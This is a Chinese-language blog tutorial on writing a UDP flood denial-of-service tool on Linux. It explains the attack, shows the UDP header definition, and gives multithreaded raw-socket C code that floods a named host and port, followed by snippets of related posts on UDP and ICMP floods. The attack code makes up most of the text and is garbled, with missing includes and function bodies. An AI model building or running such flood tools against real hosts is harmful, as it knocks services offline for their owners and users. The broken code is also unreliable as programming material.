Linux網路程式設計 UDP洪水攻擊

2021-07-05 21:33:43 字數 2881 閱讀 5584

udp攻擊,又稱udp洪水攻擊或udp淹沒攻擊(英文:udp flood attack)是導致基於主機的服務拒絕攻擊的一種。udp 是一種無連線的協議,而且它不需要用任何程式建立連線來傳輸資料。當受害系統接收到乙個 udp 資料報的時候,它會確定目的埠正在等待中的 應用程式。當它發現該埠中並不存在正在等待的應用程式,它就會產生乙個目的位址無法連線的 icmp資料報傳送給該偽造的源位址。如果向受害者計算機埠傳送了足夠多的 udp 資料報的時候,整個系統就會癱瘓。

下面是udp報文格式:

linux系統中定義的udp報文格式:

#ifndef __netinet_udp_h

#define __netinet_udp_h 1

#include #include /* udp header as specified by rfc 768, august 1980. */

struct udphdr

; struct;};

};/* udp socket options */

#define udp_cork 1 /* never send partially complete segments. */

#define udp_encap 100 /* set the socket to accept

encapsulated packets. */

/* udp encapsulation types */

#define udp_encap_espinudp_non_ike 1 /* draft-ietf-ipsec-nat-t-ike-00/01 */

#define udp_encap_espinudp 2 /* draft-ietf-ipsec-udp-encaps-06 */

#define udp_encap_l2tpinudp 3 /* rfc2661 */

#define sol_udp 17 /* sockopt level for udp */

#endif /* netinet/udp.h */

接觸了前面的例項後,編寫udp報文是很簡單的,下面是例項**:

//udp攻擊

//使用方法:./udp hostname destport

#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include //最多執行緒數

#define maxchild 60

//目的ip位址

struct sockaddr_in dest;

static int proto_udp=-1;

static int alive=-1;

int rawsock;

//訊號處理函式,設定退出變數alive

void dos_sig(int signo)

//計算校驗和

unsigned short checksum(unsigned char *buf,int len)

if(len) //若len的長度不是偶數

sum+=*(unsigned char *)cbuf; //用最後乙個位元組補齊

//防溢位處理

sum=(sum>>16)+(sum & 0xffff);

sum+=(sum>>16);

return ~sum;

}void dos_udp (int port)

void *dos_fun (void *port)

return null;

}int main(int argc,char **argv)

port=atoi(argv[2]);

protocol=getprotobyname(protoname);

proto_udp=protocol->p_proto;

dest.sin_addr.s_addr = inet_addr(argv[1]);

if(dest.sin_addr.s_addr == inaddr_none)

char str[30];

// printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));

struct in_addr in;

memcpy(&in.s_addr,host->h_addr_list[0],sizeof(in.s_addr));

//printf("ip:%s\n",inet_ntoa(in));

dest.sin_addr=in;

}printf("ip:%s\n",inet_ntoa(dest.sin_addr));

// 建立原始socket

rawsock = socket (af_inet, sock_raw, proto_udp);

if (rawsock < 0)

// 設定ip選項,自己構建ip報頭部

setsockopt (rawsock,ipproto_ip, ip_hdrincl, &on, sizeof(on));

//建立多個執行緒協同工作

for(int i=0; i

結果抓包:

Linux網路程式設計之UDP洪水攻擊

1.概述 udp攻擊向目標主機的udp埠傳送大量的udp報文,造成目標主機的埠堵塞,達到攻擊的目的。建立多執行緒,利用原始套接字封裝udp與ip的首部,然後傳送udp報文,攻擊目標主機.2.udp攻擊例項 include include include include include include...

Linux網路程式設計 ICMP洪水攻擊

一 icmp洪水攻擊的原理 icmp flood 是一種在ping基礎上形成的,但是用ping程式很少能造成目標機宕機的問題,這裡邊最大的問題是提高處理的速度,icmp洪水攻擊主要有以下3種方式。1 直接洪水攻擊 這樣做需要本地主機的頻寬與目標主機之間頻寬進行比拼,可以採用多執行緒的方法一次性得傳送...

linux網路程式設計 udp

udp udp收發 udp 協議不需要建立連線,類似於傳送簡訊,因此 udp 的程式設計方式比 tcp 更加簡單。udp 有其自己特有的接受與傳送資料的函式 socket af inet,sock dgram,0 建立socket bind socket fd,struct sockaddr ser...